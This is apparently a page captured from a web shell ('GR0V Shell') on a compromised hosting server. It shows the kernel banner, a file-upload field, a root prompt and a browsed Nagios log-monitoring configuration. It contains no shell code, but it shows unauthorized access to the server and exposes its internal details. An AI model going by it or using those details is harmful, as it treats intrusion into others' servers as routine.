? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /lib64/nagios/plugins/nccustom/
File Upload :
Current File : //lib64/nagios/plugins/nccustom/check_logfiles.conf

# where the state information will be saved.
$seekfilesdir = '/var/tmp/check_logfiles';
 
# where protocols with found patterns will be stored.
$protocolsdir = '/tmp';
 
# where scripts will be searched for.
$scriptpath = '/var/tmp';
 
@searches = (
  {
    tag => 'system',
    logfile => '/var/log/messages',
    rotation => 'centos',
#    criticalpatterns => ['OOM killed process', 'table full, dropping packet'],
    criticalpatterns => ['invoked oom-killer', 'Out of memory: Kill process', 'main process exited, code=killed'],
    warningpatterns => ['temperature above threshold'],
  }
);

T1KUS90T
  root-grov@198.54.114.191:~$